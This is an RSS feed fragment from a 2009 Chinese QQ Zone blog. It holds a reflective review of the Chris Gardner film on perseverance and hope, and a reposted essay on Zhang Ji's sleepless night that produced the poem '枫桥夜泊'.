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<description><![CDATA[<br><br>这是一部让人看到希望的影片，可能影响你的一生！<br>　　Chris Gardner真实的故事，感谢威尔史密斯父子精彩的演绎,继续支持你们。<br><br>　　人生总有起伏，不可能一帆风顺，在最不如意的境遇时选对目标，坚持下去，未来将会很美好。黎明前的黑暗才是最可怕的，只要能挺过去，过后就是阳光，这是一部让人看到希望的影片，“希望”也许是上天给与人类最美好的事了。<br><br>　　片子一开始就能感觉到：Chris 夫妇之间的感情并不融洽，长期穷困的生活让妻子再也无法忍受，为了维持生计，一天经常会干16个钟头，还时不常的要抽出间歇时间照顾家庭，看这样一天天下去，没有任何起色，最起码在Chris身上看不到希望，最终选择了放弃。作为一个男人，对此表示理解。夫妻好比同林鸟，大难临头各自飞嘛！现实生活中有很多这样的例子，当然也有在这时候选择留下来与丈夫共度难关的。要知道两个人的力量维持一个家庭比一个人要大很多，就没那么困难了。假如选择了共度难关能否真正帮Chris获得成功呢？<br><br>　　是不是非得把人逼到那份儿上才会有所作为呢？如果引用“天将降大任于斯人也，必先苦其心志，劳其筋骨，饿其体肤，空乏其身，行拂乱其所为。”来理解的话，答案是肯定的，离开是必然的。结论是：压力越大，动力越大。<br><br>　　也有说：平生多磨砺，男儿自横行。所以现在正遭遇诸多不如意的朋友们，我们可以换个方式来看：放弃了就一定不会成功，坚持下去，别让任何人看不起你，包括自己，也许你就是下一个成功的人。<br><br>　　都说穷人的孩子早当家，这一点从小Chris身上可以看的很清楚：小Chris正是该无忧无虑的时候，却要经常跟着父亲去工作，跟父亲一起为了找个能睡觉的地方而到处奔波，居无定所。受了那么多委屈给爸爸的没有埋怨，只有鼓励。这是常人没有经历过的，也是常人无法做到的。<br><br>　　不是谁都能获得成功的。关键是你能否发现你的长处，并应用到合适的工作上。而且，从头再来不是谁都能做到的，因为会放不下，不甘心为了新的目标去放弃眼前的成绩，尽管眼前的成绩也不是那么的令人满意。试问：假如你现在是一名百货行业楼层经理，每天很努力地工作仍不能满足你当前对生活的需要，刚好你看到某个品牌公司的业务员收入很高，生活质量比你好上十倍，这是个新兴的公司，发展的空间很大，但是这个公司的门槛太高，竞争非常激烈，人才的选择近乎苛刻，而且自己的条件并不是最优秀的，但是在跑业务拉关系方面你有一定的天份，你愿意放下以前工作的经验，付出比别人更多的努力，从头开始，冒着万一失败了两手空空的风险，追求更高的生活质量，去实现你的价值吗？你真的能做到吗？所以：能从别人的成功中找到自己的目标，放下以前的成绩，从零开始竭尽全力去奋斗，相信别人能做到的我也能做到，这一点并不容易。如果能做到，我相信一定会成功。找到自己的长处，用在适合的地方，放下也是一种解脱。<br><br>　　这是一部意义深刻的影片，可能会改变你对生活和事业的看法，可能会影响到你的一生！<br><br>　　工作不开心、不满足的时候是否应该停下来想一想：这份工作真的适合我吗？有没有什么工作和事业能更充分的显示我的长处，发挥我更大的作用呢？一旦做出了新的选择，请告诉自己：不抛弃，不放弃，坚持到底就是胜利！要用比别人更多的付出换来自己目标价值的实现，追求属于自己的幸福！做好充分的心理准备：万事开头难，会遇到各种各样的困难，也会有各种各样的结果，设想一切可能失败的原因，找出应对的方法，成功就会更近一些。最后鼓励自己，乐观的出发：毕竟我比当年的Chris条件好很多。<br><br>　　最后赋诗一首，是我对生活的一点儿感叹，希望能唤起您的一点点共鸣！<br><br>　　为了生活我们付出很多，<br><br>　　生活也曾给与许多收获，<br><br>　　生活是曾经的波澜壮阔，<br><br>　　生活也经历着起起落落，<br><br>　　生活有太多的阴差阳错，<br><br>　　生活等我们努力去开拓！ <br><br><br> <!--v:3.2--> ]]></description>
<category><![CDATA[游游新浪]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Sun, 07 Jun 2009 06:22:32 GMT</pubDate>
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<title><![CDATA[[转]失眠]]></title>
<link>http://174548934.qzone.qq.com/blog/1243850877</link>
<description><![CDATA[<span style="font-weight:bold"><wbr />    夜深了，我仍然清醒着，在烟雾缭绕中读着一篇名为《不朽的失眠》的文章。我并没有失眠，只不过昨夜通宵后睡了一整个白天，还不觉得困倦而已。 </span><wbr /><br><span style="font-weight:bold"><wbr />    张晓枫的这篇文章讲述的是张继在落榜后写下《枫桥夜泊》的过程，文章下笔清新，没有华丽的渲染，娓娓道来间，句句扣人心，字字动人情。初次拜读，大约还是中学的时候吧。深深折服于作者那魔鬼般笔触的我，还曾恭恭敬敬的誊写过。恍惚间就是十数年光阴了，这篇文章依然存留在我记忆里。 </span><wbr /><br><span style="font-weight:bold"><wbr />    说起失眠。总带些煽情的味道，大家都会觉得，这失眠多多少少和爱情有着说不清道不明的瓜葛。失眠也因此沾染着鸳鸯蝴蝶的暧昧气息，颇具小资。而细读这一千两百年前的失眠，是那么凄苦，那么隽永。一个落魄的读书人，一个落第的士子，一个无限惆怅失意的才子，在这本就多愁善感的水墨江南里，在这本就霜寒月冷的漫漫长夜里，尽情释放他那幽怨和无奈。一幅多么美艳的画面，美得人心醉，艳得人心碎。 </span><wbr /><br><span style="font-weight:bold"><wbr />    不知道将来的某一天，我会否也有这么一场撕心裂肺愁肠百结的失眠。</span><wbr /> <br><br><div style="text-align:center;"><span style="font-weight:bold"><wbr /><span style="font-size:24px;line-height:1.8em;">不朽的失眠</span><wbr /></span><wbr /></div><div style="text-align:center;"><span style="font-weight:bold"><wbr />                作者：张晓枫</span><wbr /></div><span style="font-weight:bold"><wbr /><br>    他落榜了！一千二百年前。榜纸那么大那么长，然而，就是没有他的名字。啊！竟单单容不下他的名字&quot;张继&quot;那两个字。 <br>    考中的人，姓名一笔一划写在榜单上，天下皆知。奇怪的是，在他的感觉里，考不上，才更是天下皆知，这件事，令他羞惭沮丧。 <br>    离开京城吧！议好了价，他踏上小舟。本来预期的情节不是这样的，本来也许有插花游街、马蹄轻疾的风流，有衣锦还乡袍笏加身的荣耀。然而，寒窗十年，虽有他的悬梁刺股，琼林宴上，却并没有他的一角席次。船行似风。 <br>    江枫如火，在岸上举着冷冷的爝焰，这天黄昏，船，来到了苏州。但，这美丽的古城，对张继而言，也无非是另一个触动愁情的地方。 <br>    如果说白天有什么该做的事，对一个读书人而言，就是读书吧！夜晚呢？夜晚该睡觉以便养足精神第二天再读。然而，今夜是一个忧伤的夜晚。今夜，在异乡，在江畔，在秋冷雁高的季节，容许一个落魄的士子放肆他的忧伤。江水，可以无限度地收纳古往今来一切不顺遂之人的泪水。 <br>    这样的夜晚，残酷地坐着，亲自听自已的心正被什么东西啮食而一分一分消失的声。并且眼睁睁地看自已的生命如劲风中的残灯，所有的力气都花在抗拒，油快尽了，微火每一刹那都可能熄灭。然而，可恨的是，终其一生，它都不曾华美灿烂过啊！ <br>    江水睡了，船睡了，船家睡了，岸上的人也睡了。惟有他，张继，睡不着，夜愈深，愈清醒，清醒如败叶落余地枯树，似梁燕飞去的空巢。 <br>    起先，是睡眠排拒的他。（也罢，这半生，不是处处都遭排拒吗？）而后，是他在赌气，好，无眠就无眠，长夜独醒，就干脆彻底来为自已验伤，有何不可？ <br>    月亮西斜了，一副意兴阑珊的样子。有鸟啼，粗嗄嘶哑，是乌鸦。那月亮被它一声声叫得更黯淡了。江岸上，想已霜结千草。夜空里，星子亦如清霜，一粒粒零落凄绝。 <br>    在须角在眉梢，他感觉，似乎也森然生凉，那阴阴不怀好意的凉气啊，正等待凝成早秋的霜花，来贴缀他惨淡少年的容颜。 <br>    江上渔火二三，他们在干什么？在捕鱼吧？或者，虾？他们也会有撒空网的时候吗？世路艰辛啊！即使潇洒的捕鱼的，也不免投身在风波里吧？然而，能辛苦工作。只有我张继，是天不管地不收的一个，是既没有权利去工作，也没福气去睡眠的一个、、、 <br>    钟声响了，这奇怪的深夜的寒山寺钟声。一般寺庙，都是暮鼓晨钟，寒山寺庙敲&quot;夜半钟&quot;，用以惊世。钟声贴着水面传来，在别人，那声音只是睡梦中模糊的衬底音乐。在他，却一记一记都撞击在心坎上，正中要害。钟声那么美丽，但钟声自已到底是痛还是不痛呢？既然失眠，他推枕而起，摸黑写下&quot;枫桥夜泊&quot;四字。然后，就把其余二十八字照抄下来。我说&quot;照抄&quot;，是因为那二十八个字在他心底已像白墙上的黑字一样分明凸显 ：         <br>                    月落乌啼霜满天 <br>                    江枫渔火对愁眠 <br>                    姑苏城外寒山寺 <br>                    夜半钟声到客船 <br>    感谢上苍，如果没有落第的张继，诗的历史上便少了一首好诗，我们的某一种心情，就没有人来为我们一语道破。 <br>    一千二百年过去了，那张长长的榜单上（就是张继挤不进去的那纸金榜）曾经出现过的状元是谁？哈！谁管他是谁？真正被记得的名字是&quot;落第者张继&quot;。有人会记得那一届状元披红游街的盛景吗？不！我们只记得秋夜的客船上那个失意的人，以及他那场不朽的失眠。 <br></span><wbr /><br> <!--v:3.2--> ]]></description>
<category><![CDATA[游游新浪]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Mon, 01 Jun 2009 10:07:57 GMT</pubDate>
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